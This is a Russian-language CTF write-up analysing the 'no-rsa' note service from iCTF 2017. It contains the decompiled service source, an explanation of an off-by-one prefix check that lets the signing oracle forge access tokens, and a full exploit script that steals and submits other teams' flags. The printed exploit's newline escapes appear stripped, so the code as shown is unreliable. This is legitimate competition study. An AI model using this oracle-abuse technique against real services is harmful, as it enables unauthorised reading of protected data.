Специально для CTF News Алексей Родионов из Университета Иннополис продолжает серию публикаций с разбором сервисов iCTF 2017. Первую часть с рассказом о соревнованиях читайте по ссылке.
Разбор сервисов
Получаем список таковых через команду t.get_service_list() Получаем ответ в JSON-объекте в формате:
{
u'flag_id_description': '
u'description': u'',
u'service_name': u'',
u'team_id': 0,
u'state': u'',
u'upload_id': 4,
u'authors': u'',
u'service_id': 1000N,
u'port': 2000N
},
И так далее…
no-rsa
Для начала разберём сервис, который мы раскопали первым. Это no-rsa. flag_id — это поле, которое позволяет нам идентифицировать, какой именно флаг необходимо получить. Здесь это название блокнота. Текст в нём — флаг. Описание сервиса следующее: «Безопасно ли хранить ваши записи только используя RSA?».
Это обычный tcp-сервер. Подключаемся по netcat для тестирования функционала. Вот окно приветствия:
Hi! Welcome to our note storage system. It's based on RSA!
What do you want to do?
1. Write a Note -> Type W
2. Reading a specific note? -> Type R
3. Request for a signature of your integer? -> Type S
W — пишет введённый текст в случайно-созданный файл и подписывает его алгоритмом RSA. В файле хранятся незашифрованный текст и подпись. В ответ выводит название файла + текст подписи (token).
R — считывает контент из файла. Принимает на вход название файла + токен.
S — возвращает token для введённого целочисленного типа данных.
Итак. Мы можем записать какой-то текст, прочитать его, а также подписать наш текст «цифровой подписью». Как работает алгоритм RSA, вы можете подробно почитать на Википедии.
Этот сервис был написан на Python (понятно по расширению файла .pyc), его с легкостью можно было преобразовать из байт-кода обратно в удобочитаемый вид. Так и сделали, смотрим в него (для тех, кто любит красиво - на pastebin.com.
#Embedded file name: src/no-rsa.py
import os
import sys
import json
import random
import string
from Crypto.PublicKey import RSA
N = None
P = None
Q = None
PHI = None
E = 65537
D = None
FILE_DIR = 'files'
def service():
print "Hi! Welcome to our note storage system. It's based on RSA!"
print 'What do you want to do?'
print '1. Write a Note -> Type W'
print '2. Reading a specific note? -> Type R'
print '3. Request for a signature of your integer? -> Type S'
sys.stdout.flush()
cmd = raw_input()
if cmd == 'W':
write_note()
elif cmd == 'R':
read_note()
elif cmd == 'S':
sign()
def generate_random_note_id():
return '1111' + ''.join((random.choice(string.digits) for x in range(36)))
def sign():
global E
global N
print 'Here is our public key (you need them in order to verify the signature): N E'
print N, E
print 'Please type: number!'
print "We don't sign integers starting with for consecutive ones!"
sys.stdout.flush()
number = raw_input()
if len(number) >= 3 and number[0:3] == '1111':
print 'We told you! we will not sign integers starting with for consecutive ones!'
sys.stdout.flush()
else:
if number.isdigit():
s = dec(int(number))
print 'The signature: '
print s
sys.stdout.flush()
return s
print 'Not a number!'
sys.stdout.flush()
def read_note():
print 'Please type: note_id token'
sys.stdout.flush()
note_id, token = raw_input().split(' ', 2)
try:
with open('{}/{}'.format(FILE_DIR, note_id)) as f:
json_data = json.load(f)
real_token = json_data['token']
content = json_data['content']
except Exception as e:
print 'wrong note_id!'
sys.stdout.flush()
return
if token != real_token:
print 'Wrong token!'
sys.stdout.flush()
return
print 'Note content: ', content
sys.stdout.flush()
def write_note():
while True:
note_id = generate_random_note_id()
if not os.path.isfile(note_id):
break
print 'Please type: content (in just one line)'
sys.stdout.flush()
content = raw_input()
token = str(dec(int(note_id)))
with open('{}/{}'.format(FILE_DIR, note_id), 'wx') as f:
json.dump({'token': token,
'content': content}, f)
print 'Your note is safe with us! You can retrieve it later by these information: note_id token'
print note_id, token
sys.stdout.flush()
def enc(x):
return modpow(x, E, N)
def dec(c):
global D
return modpow(c, D, N)
def modpow(a, b, m):
result = 1
a = a % m
while b > 0:
if b % 2 == 0:
a = a * a % m
b = b / 2
else:
result = result * a % m
b = b - 1
return result
def initialize_rsa_credentials():
global PHI
global E
global D
global N
global Q
global P
if os.path.isfile('rsa.txt'):
with open('rsa.txt') as rsa_data:
rsa_credentials = json.load(rsa_data)
N = rsa_credentials['N']
P = rsa_credentials['P']
Q = rsa_credentials['Q']
PHI = rsa_credentials['PHI']
E = rsa_credentials['E']
D = rsa_credentials['D']
return
key = RSA.generate(1024, e=E)
N = getattr(key.key, 'n')
P = getattr(key.key, 'p')
Q = getattr(key.key, 'q')
D = getattr(key.key, 'd')
PHI = (P - 1) * (Q - 1)
with open('rsa.txt', 'w') as file:
json.dump({'N': N,
'P': P,
'Q': Q,
'E': E,
'D': D,
'PHI': PHI}, file)
def make_file_dir():
if not os.path.isdir(FILE_DIR):
os.makedirs(FILE_DIR)
if __name__ == '__main__':
initialize_rsa_credentials()
make_file_dir()
service()
В чём была уязвимость? Путём долгого чтения кода сверху вниз, снизу вверх, наискосок и т.д. было обнаружено интересное условие, а именно то, что система якобы не обрабатывает числа, начинающиеся на «1111»:
if len(number) >= 3 and number[0:3] == '1111':
print 'We told you! we will not sign integers starting with for consecutive ones!'
Данное условие никогда не выполнится, т.к. number[0:3] — это первые 3 символа и они никогда не будут равны четырём. Зачем нам нужно выполнять эту команду? number — это наш flag_id, который шифруется по алгоритму RSA во время добавления записи на сервис, сервис возвращает переменную token. Она нужна для получения доступа к уже зашифрованному блокноту.
token = str(dec(int(note_id)))
with open('{}/{}'.format(FILE_DIR, note_id), 'wx') as f:
json.dump({'token': token,
'content': content}, f)
Итак, алгоритм действий такой:
-
Подключаемся к серверу по TCP.
-
Мы имеем flag_id — это наше имя файла, который хранится на сервере.
-
Мы можем узнать «цифровую подпись файла», запустив команду S(ign). Вводим наш flag_id — получаем подпись.
-
Теперь мы можем прочитать данный файл, т.к. знаем его токен для проверки. Вводим R(ead) и в качестве параметров передаём flag_id и полученный token из п.2.
Так происходит считывание из файла:
with open('{}/{}'.format(FILE_DIR, note_id)) as f:
json_data = json.load(f)
real_token = json_data['token']
content = json_data['content']
if token != real_token:
print 'Wrong token!'
sys.stdout.flush()
return
print 'Note content: ', content
Итого, мы получили содержимое файла — а это наш флаг. Теперь можно засылать его на сервер жюри!
Код эксплойта на языке Python (на pastebin):
from ictf import iCTF
import json
import socket
i = iCTF()
t = i.login('MAIL', 'PASSWORD')
while 1:
tmp = t.get_targets(10004)# получаем список команд
for team in tmp['targets']:
try:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.settimeout(2)
conn.connect((team['hostname'], team['port']))
conn.recv(1024)
conn.send(b'Sn')
conn.recv(1024)
conn.send(str.encode('%sn' % team['flag_id']))
data = conn.recv(1024).decode('utf-8')
conn.close()
if "The signature" in data:
lines = data.split('n')
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.settimeout(2)
conn.connect((team['hostname'], team['port']))
conn.recv(1024)
conn.send(b'Rn')
conn.recv(1024).decode('utf-8')
conn.send(str.encode('%s %sn' % (team['flag_id'], lines[1])))
data = conn.recv(1024).decode('utf-8')
s = t.submit_flag(list(data))
print('Success - %s %s' % (data, s))
conn.close()
else:
print('Bad team - {}'.format(team['team_name']))
conn.close()
except Exception:
continue
conn.close()
Для наглядного отображения воспользуемся сниффером Wireshark. Так выглядит сетевое взаимодействие (синий — сервер, красный — мы):

Крайне просто и удобно. Сервис был заовнен буквально за 2 часа.
Через пару дней мы разберём ещё один сервис, написанный на Python - flasking_unicorns. Следите за новостями, вопросы можно задавать Алексею в Telegram